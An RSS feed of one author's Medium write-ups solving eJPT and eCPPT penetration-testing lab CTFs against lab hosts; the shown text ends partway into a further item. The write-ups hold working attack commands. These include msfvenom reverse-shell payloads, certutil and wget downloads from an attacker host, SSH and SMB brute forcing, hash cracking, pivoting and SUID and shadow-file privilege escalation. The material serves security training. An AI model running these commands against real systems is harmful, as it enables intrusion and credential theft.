<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Murat Kuzucu on Medium]]></title>
        <description><![CDATA[Stories by Murat Kuzucu on Medium]]></description>
        <link>https://medium.com/@murat_kuzucu?source=rss-85d1046fac0e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*U5etFKCXnH4HK1tXgFuQ7Q.png</url>
            <title>Stories by Murat Kuzucu on Medium</title>
            <link>https://medium.com/@murat_kuzucu?source=rss-85d1046fac0e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:21:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@murat_kuzucu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eCPPT — Powershell for Pentesters CTF 1]]></title>
            <link>https://medium.com/@murat_kuzucu/ecppt-powershell-for-pentesters-ctf-1-58959cd0aa04?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/58959cd0aa04</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[proxychains]]></category>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[ecppt]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Wed, 23 Apr 2025 12:52:54 GMT</pubDate>
            <atom:updated>2025-04-23T13:27:54.649Z</atom:updated>
            <content:encoded><![CDATA[<h3>eCPPT — Powershell for Pentesters CTF 1</h3><pre> nmap -sV -T4 -Pn -O -p- server.prod.local -oN server.txt -oX server.xml</pre><p>Lets start with an nmap scan on server.prod.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*wmHwVeAQwe-u_C2odR8n-w.png" /></figure><p>smb, rdp, winrm services are open.</p><p>lets enumerate smb with msfconsole smb_login module</p><pre>service postgresql start &amp;&amp; msfconsole<br><br>use smb_login module<br><br>set anonymous_login true<br>set CreateSession true<br>set rhosts server.prod.local<br>set SMBUser anonymous<br>set SMBPass pass<br><br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFU89hQpKUKN79KQuJLG9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*hMCG7gxWykLb5vWHMLr56Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMtdylmzXnrRbvVk7NgtiQ.png" /></figure><p>on todo.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*NBWThWcwI-TSIDenz56gJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c8byMJQNQpJFTV2yXMzHsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZ7pew9WgWK21eJOif9YSQ.png" /></figure><p>lets try these credentials on winrm service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zijM9vk6RGur3OK05lYpAQ.png" /></figure><p>Task 2: Obtain a PowerShell session on server.prod.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lZ6gzzm97udJ_G5IVj7Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*kHLlfaspSc6ttGP_G4V-Qg.png" /></figure><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.49.2 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -o shell.exe</pre><pre>python3 -m http.server 80<br><br>certutil -split -urlcache -f http://10.10.49.2/shell.exe shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*1fLjV-NNO-PsNFziE2IoEA.png" /></figure><p>add route on meterpreter</p><p>cat /etc/proxychains4.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*xphytbCSVqXwCzdS2FVQMQ.png" /></figure><p>use socks_proxy module for proxychains</p><p>set version to 4a</p><p>set SRVPORT to 9050</p><p>run</p><pre>proxychains nmap -sT -Pn -n -T4 -p 80,135,139,443,445,3389,5985,5986 10.2.20.111</pre><p>Task 3: Identify a misconfigured resource on web.prod.local</p><p>Lets take a look on smb shares via proxychains smbclient</p><pre>proxychains smbclient -L //10.2.20.111 -U anonymous</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*OhRRUhIVIV_hnJc3vQgGRQ.png" /></figure><pre>proxychains smbclient //10.2.20.111/wwwroot -U anonymous</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*d16LkWlmcxRMZaMaG0_-Zg.png" /></figure><pre>portfwd add -l 8080 -p 80 -r 10.2.20.111</pre><p>on meterpreter shell, port forwarding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6eQo9p7u4GelSN9O8ooB4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*7o4lmTAsYMgG0TvtQc5l_Q.png" /></figure><p>put these,</p><p>Task 4: Compromise the web.prod.local machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*FFQp9ICoZgYIbchh-NwOdA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58959cd0aa04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pivoting with Powershell-empire and Metasploit]]></title>
            <link>https://medium.com/@murat_kuzucu/pivoting-with-powershell-empire-and-metasploit-d457de680bb8?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d457de680bb8</guid>
            <category><![CDATA[powershell-empire]]></category>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Tue, 28 Jan 2025 09:32:28 GMT</pubDate>
            <atom:updated>2025-01-28T09:32:28.510Z</atom:updated>
            <content:encoded><![CDATA[<p>“You have been tasked by an organization to conduct a penetration test. Suppose that the organization’s internet-facing machine is accessible at demo.ine.local. There is another machine (fileserver.ine.local) which is not directly accessible.” this is our scenario.</p><pre>nmap -sV -T4 -Pn -O -p- demo.ine.local -oN demo.txt -oX demo.xml</pre><p>Let’s start with nmap scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqRQhbQBqosZ0ZZqtn5kOw.png" /></figure><p>smb and rdp services are open,</p><p>port 4983 looks interesting, lets do further enumeration on this target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWosTUg6rjUyZuKQEE7tmQ.png" /></figure><p>this look like a error message, we have a credentials lets try with “smbexec”</p><pre>smbexec.py demo.ine.local/Administrator:&#39;abc_123321!@#&#39;@10.2.25.121</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*MeK-_7GM4SNJmw_RgKzNAQ.png" /></figure><p>we have a shell lets go through powershell-empire</p><pre>#Terminal-1<br>powershell-empire server</pre><pre>#Terminal-2<br>powershell-empire client<br><br>uselistener http<br>set Host &lt;lhost&gt;<br>set Port &lt;lport&gt;<br>execute<br><br>#to check<br>listeners<br><br>#to back main page<br>main<br><br>#creating stager<br>usestager multi/launcher<br>#to use stager<br>set Listener http<br><br>#copy the staged powershell code to our target system<br><br>#to check our agent<br>agents</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wZDxGEXzrzj6gIxDIt5gfg.png" /></figure><pre>interact 72B5XLC8</pre><pre>usemodule powershell/code_execution/invoke_metasploitpayload</pre><p>let’s open metasploit and use web_delivery module to create our metasploit stager</p><pre>service postgresql start &amp;&amp; msfconsole<br><br>set lhost,SRVHOST to our local machine ip<br><br>set target 2 #psh powershell<br>set payload windows/meterpreter/reverse_tcp<br><br>run<br>#copy our stager and follow the instructions<br><br>#set powershell-empire module URL to stager URL<br>http://&lt;lhost&gt;:8080/D83gz0asCNrxg0<br>execute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5fVxlQMVWBfy3Kk0Kb091Q.png" /></figure><pre>search autoroute<br>set session 1<br>run<br><br>search socks_proxy<br>set SRVHOST &lt;lhost&gt;<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*x8l3jn6IaIH-l4QTkqXMBA.png" /></figure><p>on firefox set SOCKS proxy settings.</p><p>we can reach now:</p><p><a href="http://fileserver.ine.local/">http://fileserver.ine.local</a></p><p>search badblue exploit then use</p><p>windows/meterpreter/bind_tcp this payload</p><p>we have a shell on “fileserver.ine.local” target.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d457de680bb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT : Host & Network Penetration Testing: Post-Exploitation CTF 2]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-host-network-penetration-testing-post-exploitation-ctf-2-105fdf6fc548?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/105fdf6fc548</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 14:29:00 GMT</pubDate>
            <atom:updated>2025-01-15T16:02:05.870Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT : Host &amp; Network Penetration Testing: Post-Exploitation CTF 2</h3><p>Let’s start with nmap scan on our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*rreYLSAnN2ppOVLFO8h_8Q.png" /></figure><p>ssh,smb,rdp services are open.</p><p>“<strong>Flag 1:</strong> An insecure ssh user named <strong>alice</strong> lurks in the system.”</p><p>lets do bruteforce attack on ssh.</p><pre>hydra -l alice -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target.ine.local ssh</pre><p>we have found credentials.</p><p>so lets take look on ssh service.</p><pre>ssh alice@target.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*SXIlsglZforfJ4vvB6mnqQ.png" /></figure><p>we got our first flag</p><p>“<strong>Flag 2:</strong> Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?”</p><p>lets download hashdump file via ssh with scp.</p><pre>scp alice@target.ine.local:hashdump.txt hashdump.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3T9rgrkNaojRAvfncraRw.png" /></figure><p>we have a hash file like this.</p><p>we can code a python script to seperate usernames and hashes</p><pre>def extract_ntlm_hashes(input_file, ntlm_output_file, username_output_file, user_hash_output_file):<br>    &quot;&quot;&quot;<br>    Extracts usernames and NTLM hashes from the input file and writes them to separate files and combined user:hash file.<br>    :param input_file: The name of the input file containing the full hashdump.<br>    :param ntlm_output_file: The name of the output file for NTLM hashes.<br>    :param username_output_file: The name of the output file for usernames.<br>    :param user_hash_output_file: The name of the output file for user:hash pairs.<br>    &quot;&quot;&quot;<br>    try:<br>        with open(input_file, &#39;r&#39;) as infile, \<br>             open(ntlm_output_file, &#39;w&#39;) as ntlm_outfile, \<br>             open(username_output_file, &#39;w&#39;) as username_outfile, \<br>             open(user_hash_output_file, &#39;w&#39;) as user_hash_outfile:<br>            for line in infile:<br>                parts = line.strip().split(&quot;:&quot;)<br>                if len(parts) &gt;= 4:  # Ensure line has enough parts<br>                    username = parts[0]<br>                    ntlm_hash = parts[3]<br>                    if ntlm_hash != &quot;aad3b435b51404eeaad3b435b51404ee&quot;:  # Skip LM hash placeholders<br>                        ntlm_outfile.write(f&quot;{ntlm_hash}\n&quot;)<br>                        username_outfile.write(f&quot;{username}\n&quot;)<br>                        user_hash_outfile.write(f&quot;{username}:{ntlm_hash}\n&quot;)<br>        print(f&quot;NTLM hashes extracted successfully to &#39;{ntlm_output_file}&#39;&quot;)<br>        print(f&quot;Usernames extracted successfully to &#39;{username_output_file}&#39;&quot;)<br>        print(f&quot;User:Hash pairs extracted successfully to &#39;{user_hash_output_file}&#39;&quot;)<br>    except FileNotFoundError:<br>        print(f&quot;Error: The file &#39;{input_file}&#39; was not found.&quot;)<br>    except Exception as e:<br>        print(f&quot;An error occurred: {e}&quot;)<br><br># Example usage<br>input_filename = &quot;hashdump.txt&quot;  # Replace with your input filename<br>ntlm_output_filename = &quot;ntlm_hashes.txt&quot;  # Replace with your NTLM output filename<br>username_output_filename = &quot;usernames.txt&quot;  # Replace with your username output filename<br>user_hash_output_filename = &quot;user_hash_pairs.txt&quot;  # Replace with your user:hash output filename<br>extract_ntlm_hashes(input_filename, ntlm_output_filename, username_output_filename, user_hash_output_filename)</pre><pre>python3 script.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1fYqQuKFIXCr7VyJuqR1g.png" /></figure><p>now we have three files, lets crack ntlm-hashes with john-the-ripper</p><pre>john --format=nt --wordlist=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ntlm_hashes.txt</pre><p>we have cracked two hashes lets write on a file and use for bruteforce.</p><p>there is an metasploit module that named smb_login,</p><p>lets use with our usernames,passwords files.</p><p>set rhosts target.ine.local</p><p>set USER_FILE usernames.txt</p><p>set PASS_FILE passwords.txt</p><p>set CreateSession true</p><p>run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFH42NaJyi6iz4B7XYGb0w.png" /></figure><p>we also have found correct credentials for these users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*-h-MqTQjdUYS-QGUCDlsoQ.png" /></figure><p>nothing useful here.</p><p>lets try ssh with user david.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*xq4vdF4T__PzG69t8hOKhg.png" /></figure><p>flag3:“Can you escalate privileges and read the flag in C://Windows//System32//config directory?”</p><p>lets create msfvenom shell:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=&lt;lhost&gt; LPORT=1234 -f exe &gt; shell.exe</pre><p>so we going to transfer our shell file with certutil and python3 http.server</p><pre>#on local<br>python3 -m http.server 80<br>#on target<br>certutil.exe -urlcache -split -f http://&lt;localmachine&gt;/shell.exe shell.exe</pre><p>after transfering our file in C:\Temp\ directory,</p><p>lets use metasploit multi/handler</p><p>set payload windows/meterpreter/reverse_tcp</p><p>set lhost,lport</p><p>run</p><p>and, run shell.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFsW1MIelID9ck8z6apqBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERxaC97K4dUc_yivUEox4g.png" /></figure><p>we can try easy method to escalate our privilege getsystem. and it works!!</p><p>“Can you escalate privileges and read the flag in C://Windows//System32//config directory?”</p><p>i have answered this question but, its buggy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*dwhR8m6kyc3ORflBb2z9Ww.png" /></figure><p>flag4: “Looks like the flag present in the Administrator’s home denies direct access.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*uBeYw_RTmwF_K23UGBCG-A.png" /></figure><p>we cant change directory to flag because</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*HKK5xbldZuzBwzC2NcxxAA.png" /></figure><p>SYSTEM user permission denied.</p><p>we can change it:</p><pre>icacls flag /remove:d &quot;NT AUTHORITY\SYSTEM&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*XP14qHy_CQTpPkeSpLOSMg.png" /></figure><p>we can read it now.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=105fdf6fc548" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT : Host & Network Penetration Testing: Exploitation CTF 3]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-host-network-penetration-testing-exploitation-ctf-3-588a49bd9088?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/588a49bd9088</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 18:50:31 GMT</pubDate>
            <atom:updated>2025-01-13T18:50:31.135Z</atom:updated>
            <content:encoded><![CDATA[<h4>eJPT : Host &amp; Network Penetration Testing: Exploitation CTF 3</h4><p>Let’s start with nmap scan on target1</p><pre>nmap -sV -T4 -Pn -sC -O target1.ine.local -oN target1.txt -oX target1.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*gE-WKP0qI8PzXJlH7CCiJg.png" /></figure><p>there is an exploit on metasploit that named: proftpd_modcopy_exec</p><p>set rhosts target1.ine.local</p><p>set payload cmd/unix/reverse_perl</p><p>set /var/www/html</p><p>because</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eR8GQJ89hT-ISCrwwGa5yQ.png" /></figure><p>we can upload a file in this path for our exploit.</p><p>run exploit.</p><p>so we get our shell.</p><p>now,</p><p>sessions -u 1 to meterpreter shell.</p><p>“A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.” : /flag1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*Og_tre-YKmkIsrqLI7JfyQ.png" /></figure><p>lets enumerate our system.</p><p>“Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.” :flag2</p><pre>netstat -tulnp 127.0.0.1</pre><p>running local services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddvjl0D858K9SE46vemubQ.png" /></figure><p>listening port : 8888 on locally.</p><p>lets take a look on it, with netcat.</p><pre>nc 127.0.0.1 8888</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*_dRSalkw5AOX9kFkFBy5LQ.png" /></figure><p>Let’s do nmap scan for target2.</p><pre>nmap -sV -T4 -Pn -O target2.ine.local -oN target2.txt -oX target2.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*xshBYKcVBChMA1K_P49FTQ.png" /></figure><p>samba-smb and http services are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_N1-CUD7HVKyuTvF3jSTTA.png" /></figure><p>nothing is interesting on http service.</p><p>lets enumerate smb with enum4linux tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*m-TOV710lkk4QFjyVpLA3g.png" /></figure><p>site-uploads folder is available on guest login,</p><p>there is an apache web server,</p><p>so we can upload our shell in it.</p><pre>msfvenom -p php/meterpreter/reverse_tcp LHOST=&lt;lhost&gt; LPORT=&lt;lport&gt; -f raw &gt; shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*z5fwNTtzmuo9y6uIXD64_Q.png" /></figure><p>lets listen with multi/handler module on metasploit</p><p>set payload to php/meterpreter/reverse_tcp</p><p>set lhost,lport</p><p>run</p><pre>http://target2.ine.local/site-uploads/shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6fJiEawtZCPvxw5cY_9Jg.png" /></figure><p>“ misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?”: /flag3</p><p>cat /etc/shells</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*mX3Hu_NiERxiDX5G_f753A.png" /></figure><p>lets check shell permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*G1t-qUupPauDjEeJ86FLRw.png" /></figure><p>we can use sh shell for escalation</p><p>list all executables with setuid bit set:</p><pre>find / -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*deS3n-IeWDTyvesT3wq9KA.png" /></figure><p>we can use find command to escalate our privilege</p><p>lets combine these two and get our root shell:</p><pre>find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*bXcY2ajlAdSPyVfUnhjVQw.png" /></figure><p>we are root!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*M4RezfwNDgf4s1J9BeiAnw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=588a49bd9088" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT : Host & Network Penetration Testing: Post-Exploitation CTF 1]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-host-network-penetration-testing-post-exploitation-ctf-1-5bd84387891a?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bd84387891a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 15:21:22 GMT</pubDate>
            <atom:updated>2025-01-13T15:21:22.370Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT : Host &amp; Network Penetration Testing: Post-Exploitation CTF 1</h3><p>Let’s start with nmap scan on target1</p><pre>nmap -sV -T4 -Pn -O -sC target1.ine.local -oN target1.txt -oX target1.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*Tri_GyQGaCDHO2p3MOPfug.png" /></figure><p>There is an exploit on metasploit for libssh</p><p>that named: scanner/ssh/libssh_auth_bypass</p><p>set spawn_pty true</p><p>set rhosts target1.ine.local</p><p>set CreateSession true</p><p>run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*TqPC7X8Ocq5Y7cSeRp8CnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*86JGK-uLZIxjw79og8V9Hw.png" /></figure><p>that file contains:</p><p>john:Pass@john123</p><p>lets enumerate users on system: flag1</p><pre>cat /etc/passwd</pre><p>“User groups might reveal more than you expect.” : flag2</p><pre>cat /etc/group </pre><p>“Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.” : flag3</p><pre>cat /etc/crontab<br>ls /etc/cron.d/<br>cat /etc/cron.d/*</pre><p>“DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.” : flag4</p><pre>cat /etc/hosts</pre><p>Let’s start nmap scan on target2, john:Pass@john123 and this credential might be useful.</p><pre>nmap -sV -T4 -Pn -O -sC target2.ine.local -oN target2.txt -oX target2.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AqT7O38Eb4oUbf2mBK0ylg.png" /></figure><p>ssh,smtp,http services are open. let’s try ssh with our credentials.</p><pre>ssh john@target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*cpN6Z-4sMKOLGljcgZJuTw.png" /></figure><p>upload our LinEnum script to our target.</p><p>“Remember: we should transfer our files in/tmp/ directory”</p><p>on target:</p><pre> wget http://&lt;lhost&gt;/LinEnum.sh linenum.sh</pre><p>we also need give execute permission to run this file.</p><pre>chmod +x linenum.sh</pre><p>now we can run it.</p><pre>./LinEnum.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*RuYT9cPkWD3n0PQ6yACMYA.png" /></figure><p>we can read-write shadow file… lets take a look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*lSaC6L-lXCnf5OPRvHoEkA.png" /></figure><p>root user don’t have a password.</p><pre>openssl passwd -6 password123</pre><p>we can create our password and hashing it.</p><pre>root:$6$LOzXI59k.f9sD6tc$2qLP9KJ4YFVzN3hGEq06lG6ZBURsr2OKvoSaMryABWBOzAPD77XnWa6zTFTVGYjwPuRZaE.Fq6PfxNXLeRvx/.:19977:0:99999:7:::</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*sNJ18EAugOCtYBc2YiXDvA.png" /></figure><p>we are root!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*fC3C5dadwSWglEEvEQMurA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bd84387891a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT Host & Network Penetration Testing: Exploitation CTF 2]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-host-network-penetration-testing-exploitation-ctf-2-055d2969f1fe?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/055d2969f1fe</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 19:30:49 GMT</pubDate>
            <atom:updated>2025-01-11T19:31:27.410Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s start with nmap scan.</p><pre>nmap -sV -T4 -Pn -O target.ine.local -oN target.txt -oX target.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*yTA3Xl9tyB0_j8OzjDW_xg.png" /></figure><p>ftp,http,smb,rdp ports are open.</p><p>“<strong>Flag 1:</strong> Looks like smb user <strong>tom</strong> has not changed his password from a very long time.”</p><p>lets do bruteforce on smb with “smb_login” msfconsole module</p><p>set RHOSTS target.ine.local</p><p>set CreateSession true</p><p>set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</p><p>set SMBUser tom</p><p>then run,</p><p>we have a shell with correct credentials.</p><p>‘.\tom:felipe’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*B-K_ASKkScqfH6X6iZM8MQ.png" /></figure><p>lets enumerate shares, 3–5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0rSG9zIF4Ene6C19EZ8IQ.png" /></figure><p>here is our flag1 and leaked-hashes.txt, might be useful.</p><p>“Flag 2: Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?”</p><p>we can use our hashes wordlist with smb_login module</p><p>set PASS_FILE leaked-hashes.txt</p><p>set SMBUser nancy</p><p>run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpqDwCs0r2oK9_IfJUX81g.png" /></figure><p>now we can take a look ITResources shares with nancy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZS3Glrhp_0_3MV8tI5M8qA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*qX8z-hWkhyfM490wvMgr5w.png" /></figure><p>this account might be ftp or rdp service credential, lets try ftp.</p><p><strong>“Flag 3:</strong> I wonder what the hint found in the previous challenge be useful for!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzwZWeQjwL0Tah6lmlIqKA.png" /></figure><p>we can use ftp service to upload our aspx shell and use for meterpreter shell.</p><p>Lets create with msfvenom</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;host&gt; LPORT=&lt;port&gt; -f aspx &gt; shell.aspx</pre><p>and we need to listen with multi/handler module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*qLNabFryRMFkCyebOkCzYQ.png" /></figure><p>we use our shell on <a href="http://target.ine.local/shell.aspx">http://target.ine.local/shell.aspx</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnWMgfH0TXI_JN0DCuVMyw.png" /></figure><p>we get our shell.</p><p>“Flag 4: Can you compromise the target machine and retrieve the C://flag4.txt file?”</p><p>this lab does not need Privilege Escalation</p><p>but we can easily get on this lab with meterpreter getsystem command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gSXfuAR84apkek3l1rJyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hyNJxQTcliErxYRKJoajA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=055d2969f1fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT : Host & Network Penetration Testing: Exploitation CTF 1]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-host-network-penetration-testing-exploitation-ctf-1-85cd5078e400?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/85cd5078e400</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[searchsploit]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Fri, 10 Jan 2025 17:24:44 GMT</pubDate>
            <atom:updated>2025-01-10T17:24:44.900Z</atom:updated>
